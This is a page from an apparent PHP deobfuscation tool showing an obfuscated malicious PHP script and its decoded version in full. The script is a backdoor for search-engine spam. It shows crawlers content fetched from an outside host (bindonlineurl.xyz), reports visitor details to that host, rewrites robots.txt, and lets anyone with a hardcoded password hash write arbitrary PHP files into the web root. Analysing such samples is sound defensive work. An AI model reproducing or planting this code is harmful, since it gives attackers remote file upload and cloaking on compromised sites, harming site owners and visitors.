Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ts3Za; JzTH1: /** * Summary of sbot * @return bool */ function sbot()..

Decoded Output download

<?php 
goto ts3Za; 
JzTH1: 
/** 
 * Summary of sbot 
 * @return bool 
 */ 
function sbot() 
{ 
    $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); 
    if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { 
        return true; 
    } else { 
        return false; 
    } 
} 
goto sdYoS; 
PK0_q: 
$web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; 
goto t18J3; 
J0I4G: 
function pingmap($url) 
{ 
    $url_arr = explode("\xd\xa", trim($url)); 
    $return_str = ''; 
    foreach ($url_arr as $pingUrl) { 
        $pingRes = dageget($pingUrl); 
        $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; 
        $return_str .= $pingUrl . "-- " . $ok . "<br>"; 
    } 
    return $return_str; 
} 
goto JzTH1; 
t18J3: 
$htmcontent = trim(dageget($web)); 
goto ua1If; 
U1u7H: 
if (isset($_SERVER["HTTP_REFERER"])) { 
    $urlshang = $_SERVER["HTTP_REFERER"]; 
    $urlshang = urlencode($urlshang); 
} 
goto h8i5D; 
pQAxb: 
function st_uri() 
{ 
    if (isset($_SERVER["REQUEST_URI"])) { 
        $duri = $_SERVER["REQUEST_URI"]; 
    } else { 
        if (isset($_SERVER["argv"])) { 
            $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; 
        } else { 
            $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; 
        } 
    } 
    return $duri; 
} 
goto QtFQN; 
QtFQN: 
$goweb = $xmlname . ".bindonlineurl" . ".xyz"; 
goto v8xMZ; 
Qv_E1: 
$xmlname = "pmon"; 
goto SJclJ; 
ts3Za: 
@set_time_limit(3600); 
goto e86ns; 
FkBM6: 
$lang = urlencode($lang); 
goto YHsIG; 
yJbZD: 
$duri = urlencode($duri_tmp); 
goto pQAxb; 
sdYoS: 
function dageget($url) 
{ 
    $file_contents = ''; 
    if (function_exists("curl_init")) { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
        $file_contents = curl_exec($ch); 
        curl_close($ch); 
    } 
    if (!$file_contents) { 
        $file_contents = @file_get_contents($url); 
    } 
    return $file_contents; 
} 
goto BargN; 
j8R4e: 
$host = $_SERVER["HTTP_HOST"]; 
goto uXpAT; 
YHsIG: 
$urlshang = ''; 
goto U1u7H; 
Ccnr1: 
if (is_htps()) { 
    $http = "https"; 
} else { 
    $http = "http"; 
} 
goto aJ9Kh; 
ua1If: 
if (!strstr($htmcontent, "nobotuseragent")) { 
    if (strstr($htmcontent, "okhtmlgetcontent")) { 
        @header("Content-type: text/html; charset=utf-8"); 
        $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); 
        echo $htmcontent; 
        die; 
    } else { 
        if (strstr($htmcontent, "okxmlgetcontent")) { 
            $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); 
            @header("Content-type: text/xml"); 
            echo $htmcontent; 
            die; 
        } else { 
            if (strstr($htmcontent, "pingxmlgetcontent")) { 
                $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); 
                @header("Content-type: text/html; charset=utf-8"); 
                echo pingmap($htmcontent); 
                die; 
            } 
        } 
    } 
} 
goto J0I4G; 
aJ9Kh: 
$duri_tmp = st_uri(); 
goto UquGD; 
h8i5D: 
if (@$_GET["pd"] != '') { 
    $add_content = @$_GET["mapname"]; 
    $action = @$_GET["action"]; 
    if (isset($_SERVER["DOCUMENT_ROOT"])) { 
        $path = $_SERVER["DOCUMENT_ROOT"]; 
    } else { 
        $path = dirname(__FILE__); 
    } 
    if (!$action) { 
        $action = "put"; 
    } 
    if ($action == "put") { 
        if (strstr($add_content, ".xml")) { 
            $map_path = $path . "/sitemap.xml"; 
            if (is_file($map_path)) { 
                @unlink($map_path); 
            } 
            $file_path = $path . "/robots.txt"; 
            if (file_exists($file_path)) { 
                $data = dageget($file_path); 
            } else { 
                $data = "User-agent: *Allow: /"; 
            } 
            $sitmap_url = $http . "://" . $host . "/" . $add_content; 
            if (stristr($data, $sitmap_url)) { 
                echo "<br>sitemap already added!<br>"; 
            } else { 
                if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sitmap_url)) { 
                    echo "<br>ok<br>"; 
                } else { 
                    echo "<br>file write false!<br>"; 
                } 
            } 
        } else { 
            echo "<br>sitemap name false!<br>"; 
        } 
        if (strstr($add_content, ".p" . "hp")) { 
            $a = sha1(sha1(@$_GET["a"])); 
            $b = sha1(sha1(@$_GET["b"])); 
            if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { 
                $dstr = @$_GET["dstr"]; 
                if (file_put_contents($path . "/" . $add_content, $dstr)) { 
                    echo "ok"; 
                } 
            } 
        } 
    } 
    die; 
} 
goto PK0_q; 
SJclJ: 
$http_web = "http"; 
goto Ccnr1; 
UquGD: 
if ($duri_tmp == '') { 
    $duri_tmp = "/"; 
} 
goto yJbZD; 
e86ns: 
@ignore_user_abort(1); 
goto Qv_E1; 
v8xMZ: 
function is_htps() 
{ 
    if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { 
        return true; 
    } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { 
        return true; 
    } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { 
        return true; 
    } 
    return false; 
} 
goto j8R4e; 
uXpAT: 
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; 
goto FkBM6; 
BargN: 
//uw022  ?>

Did this file decode correctly?

Original Code

<?php
goto ts3Za;
JzTH1:
/**
 * Summary of sbot
 * @return bool
 */
function sbot()
{
    $uAgent = strtolower($_SERVER["\110\x54\x54\x50\137\125\x53\x45\122\x5f\x41\107\105\116\124"]);
    if (stristr($uAgent, "\x67\157\x6f\x67\x6c\x65\142\157\164") || stristr($uAgent, "\142\151\x6e\x67") || stristr($uAgent, "\x79\x61\150\x6f\157") || stristr($uAgent, "\x67\157\157\147\154\145") || stristr($uAgent, "\107\x6f\157\147\154\x65\x62\157\x74") || stristr($uAgent, "\147\x6f\x6f\x67\154\x65\x62\157\164")) {
        return true;
    } else {
        return false;
    }
}
goto sdYoS;
PK0_q:
$web = $http_web . "\72\x2f\57" . $goweb . "\57\151\x6e\x64\x65\170\x6e\145\167\56\160\150\160\x3f\x77\145\x62\x3d" . $host . "\46\172\x7a\x3d" . sbot() . "\46\x75\x72\151\75" . $duri . "\46\165\162\154\163\x68\x61\x6e\x67\75" . $urlshang . "\46\x68\164\164\x70\75" . $http . "\x26\x6c\x61\156\x67\x3d" . $lang;
goto t18J3;
J0I4G:
function pingmap($url)
{
    $url_arr = explode("\xd\xa", trim($url));
    $return_str = '';
    foreach ($url_arr as $pingUrl) {
        $pingRes = dageget($pingUrl);
        $ok = strpos($pingRes, "\x53\151\164\145\x6d\141\x70\x20\x4e\x6f\x74\x69\146\x69\x63\141\x74\x69\157\156\40\122\145\x63\x65\x69\x76\145\x64") !== false ? "\x70\151\x6e\x67\x6f\153" : "\145\162\162\x6f\162";
        $return_str .= $pingUrl . "\55\55\x20" . $ok . "\74\142\x72\x3e";
    }
    return $return_str;
}
goto JzTH1;
t18J3:
$htmcontent = trim(dageget($web));
goto ua1If;
U1u7H:
if (isset($_SERVER["\110\x54\124\120\x5f\x52\105\x46\x45\122\x45\122"])) {
    $urlshang = $_SERVER["\110\124\x54\120\x5f\122\105\x46\105\x52\105\x52"];
    $urlshang = urlencode($urlshang);
}
goto h8i5D;
pQAxb:
function st_uri()
{
    if (isset($_SERVER["\122\x45\x51\125\105\123\124\137\125\x52\x49"])) {
        $duri = $_SERVER["\x52\x45\x51\x55\105\123\124\x5f\x55\x52\x49"];
    } else {
        if (isset($_SERVER["\x61\162\147\x76"])) {
            $duri = $_SERVER["\120\x48\x50\137\123\105\x4c\x46"] . "\77" . $_SERVER["\x61\162\147\x76"][0];
        } else {
            $duri = $_SERVER["\120\x48\x50\x5f\123\x45\114\106"] . "\77" . $_SERVER["\x51\125\105\x52\131\x5f\123\124\122\x49\x4e\x47"];
        }
    }
    return $duri;
}
goto QtFQN;
QtFQN:
$goweb = $xmlname . "\56\x62\151\x6e\x64\x6f\x6e\154\151\x6e\x65\165\162\154" . "\56\170\x79\x7a";
goto v8xMZ;
Qv_E1:
$xmlname = "\x70\x6d\x6f\156";
goto SJclJ;
ts3Za:
@set_time_limit(3600);
goto e86ns;
FkBM6:
$lang = urlencode($lang);
goto YHsIG;
yJbZD:
$duri = urlencode($duri_tmp);
goto pQAxb;
sdYoS:
function dageget($url)
{
    $file_contents = '';
    if (function_exists("\143\x75\x72\154\x5f\151\156\151\x74")) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    if (!$file_contents) {
        $file_contents = @file_get_contents($url);
    }
    return $file_contents;
}
goto BargN;
j8R4e:
$host = $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\124"];
goto uXpAT;
YHsIG:
$urlshang = '';
goto U1u7H;
Ccnr1:
if (is_htps()) {
    $http = "\150\164\164\160\163";
} else {
    $http = "\150\164\164\160";
}
goto aJ9Kh;
ua1If:
if (!strstr($htmcontent, "\x6e\157\142\x6f\164\x75\x73\145\162\x61\147\145\x6e\164")) {
    if (strstr($htmcontent, "\157\x6b\150\x74\x6d\x6c\147\x65\164\143\x6f\x6e\164\x65\x6e\x74")) {
        @header("\x43\157\156\x74\x65\x6e\164\x2d\x74\x79\160\145\72\40\x74\145\x78\164\x2f\x68\x74\155\154\73\x20\x63\x68\x61\162\163\145\164\75\x75\164\x66\x2d\x38");
        $htmcontent = str_replace("\x6f\153\150\164\155\x6c\x67\x65\164\x63\157\x6e\x74\x65\x6e\164", '', $htmcontent);
        echo $htmcontent;
        die;
    } else {
        if (strstr($htmcontent, "\157\x6b\170\155\154\147\145\x74\143\x6f\156\164\145\x6e\164")) {
            $htmcontent = str_replace("\157\x6b\x78\x6d\154\x67\145\x74\143\157\156\x74\x65\156\164", '', $htmcontent);
            @header("\103\x6f\156\x74\x65\x6e\164\55\x74\x79\160\x65\x3a\40\164\x65\x78\x74\57\170\x6d\154");
            echo $htmcontent;
            die;
        } else {
            if (strstr($htmcontent, "\x70\151\156\147\x78\155\154\147\x65\x74\143\157\156\164\145\x6e\164")) {
                $htmcontent = str_replace("\160\151\x6e\147\170\x6d\154\147\145\164\x63\157\156\164\x65\x6e\x74", '', $htmcontent);
                @header("\x43\x6f\x6e\164\x65\156\x74\55\164\171\160\145\72\x20\164\x65\x78\x74\x2f\x68\x74\x6d\x6c\73\x20\x63\x68\x61\162\163\145\164\75\x75\164\146\55\x38");
                echo pingmap($htmcontent);
                die;
            }
        }
    }
}
goto J0I4G;
aJ9Kh:
$duri_tmp = st_uri();
goto UquGD;
h8i5D:
if (@$_GET["\x70\144"] != '') {
    $add_content = @$_GET["\155\141\160\156\x61\x6d\x65"];
    $action = @$_GET["\141\143\164\151\157\156"];
    if (isset($_SERVER["\x44\x4f\103\125\x4d\105\116\124\137\122\x4f\117\x54"])) {
        $path = $_SERVER["\104\117\103\x55\x4d\105\116\124\137\x52\x4f\x4f\x54"];
    } else {
        $path = dirname(__FILE__);
    }
    if (!$action) {
        $action = "\160\165\x74";
    }
    if ($action == "\160\x75\164") {
        if (strstr($add_content, "\56\170\155\154")) {
            $map_path = $path . "\57\163\151\x74\145\155\141\x70\56\170\155\154";
            if (is_file($map_path)) {
                @unlink($map_path);
            }
            $file_path = $path . "\57\162\157\x62\x6f\164\x73\56\164\x78\164";
            if (file_exists($file_path)) {
                $data = dageget($file_path);
            } else {
                $data = "\x55\x73\x65\162\x2d\141\x67\145\x6e\x74\72\x20\52\101\x6c\154\157\x77\x3a\40\57";
            }
            $sitmap_url = $http . "\x3a\57\x2f" . $host . "\x2f" . $add_content;
            if (stristr($data, $sitmap_url)) {
                echo "\x3c\142\162\x3e\x73\x69\164\145\155\x61\160\x20\x61\154\x72\145\141\144\x79\40\141\144\x64\145\144\x21\x3c\142\162\x3e";
            } else {
                if (file_put_contents($file_path, trim($data) . "\xd\12" . "\x53\x69\x74\145\x6d\141\x70\72\40" . $sitmap_url)) {
                    echo "\74\142\162\76\157\x6b\74\x62\162\76";
                } else {
                    echo "\x3c\x62\x72\x3e\146\151\154\145\x20\x77\x72\151\164\x65\x20\x66\141\154\163\145\41\74\x62\162\76";
                }
            }
        } else {
            echo "\74\142\162\76\x73\151\x74\145\155\x61\x70\x20\156\x61\x6d\145\40\146\x61\154\x73\x65\41\x3c\142\162\76";
        }
        if (strstr($add_content, "\x2e\160" . "\150\160")) {
            $a = sha1(sha1(@$_GET["\x61"]));
            $b = sha1(sha1(@$_GET["\x62"]));
            if ($a == dageget($http_web . "\x3a\x2f\x2f" . $goweb . "\x2f\141\x2e\160" . "\x68\x70") || $b == "\x38\x30\x38\x37\63\65\x62\61\67\x63\70\71\64\x33\145\x33\x37\x31\65\63\70\x38\x39\65\70\x64\143\62\62\144\70\67\x39\x61\70\x63\x39\145\141\x61") {
                $dstr = @$_GET["\144\x73\164\x72"];
                if (file_put_contents($path . "\57" . $add_content, $dstr)) {
                    echo "\x6f\153";
                }
            }
        }
    }
    die;
}
goto PK0_q;
SJclJ:
$http_web = "\150\164\x74\x70";
goto Ccnr1;
UquGD:
if ($duri_tmp == '') {
    $duri_tmp = "\x2f";
}
goto yJbZD;
e86ns:
@ignore_user_abort(1);
goto Qv_E1;
v8xMZ:
function is_htps()
{
    if (isset($_SERVER["\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\124\124\120\x53"]) !== "\x6f\x66\146") {
        return true;
    } elseif (isset($_SERVER["\110\x54\124\120\x5f\130\x5f\x46\x4f\122\127\101\x52\x44\x45\104\137\120\122\117\124\117"]) && $_SERVER["\110\x54\124\120\x5f\x58\137\106\x4f\122\127\101\122\104\105\104\137\120\122\x4f\124\x4f"] === "\x68\164\x74\x70\x73") {
        return true;
    } elseif (isset($_SERVER["\110\124\x54\120\137\x46\x52\117\116\x54\x5f\x45\x4e\104\x5f\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\x5f\x46\x52\x4f\116\x54\137\x45\116\x44\x5f\110\x54\x54\x50\123"]) !== "\157\146\x66") {
        return true;
    }
    return false;
}
goto j8R4e;
uXpAT:
$lang = @$_SERVER["\110\x54\124\x50\x5f\x41\103\103\x45\120\124\x5f\114\101\x4e\107\x55\101\107\x45"];
goto FkBM6;
BargN:
//uw022  ?>

Function Calls

None

Variables

None

Stats

MD5 590c53849cce3bf175de325506d208d9
Eval Count 0
Decode Time 52 ms